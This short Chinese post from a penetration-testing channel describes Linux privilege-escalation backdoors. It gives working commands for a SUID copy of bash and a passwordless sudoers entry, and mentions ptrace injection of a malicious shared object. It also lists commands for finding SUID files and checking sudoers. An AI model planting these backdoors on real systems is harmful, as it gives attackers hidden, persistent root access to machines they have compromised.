腾讯频道 - 计算机编程与渗透 - 提权注入
有时候我们需要放一个suid后门来辅助我...
提权注入 有时候我们需要放一个suid后门来辅助我们提权,比如cp /bin/bash / bin/nf& chmod +s /bin/nf,这样我们拿到一个普通权限的shell之后可 以通过执行 /bin/nf提升自己的权限为root 此外还可以通过将某个普通用户添加到sudoers来提权,例如jenkins ALL=(ALL)NOPASSWD: ALL 排査:suid后门查找 find/-perm -4000,sudo后门检査 cat/etc/ sudoers 进程 使用ptrace向进程中注入恶意so文件
2025-01-03
浏览483
登录后评论
评论
分享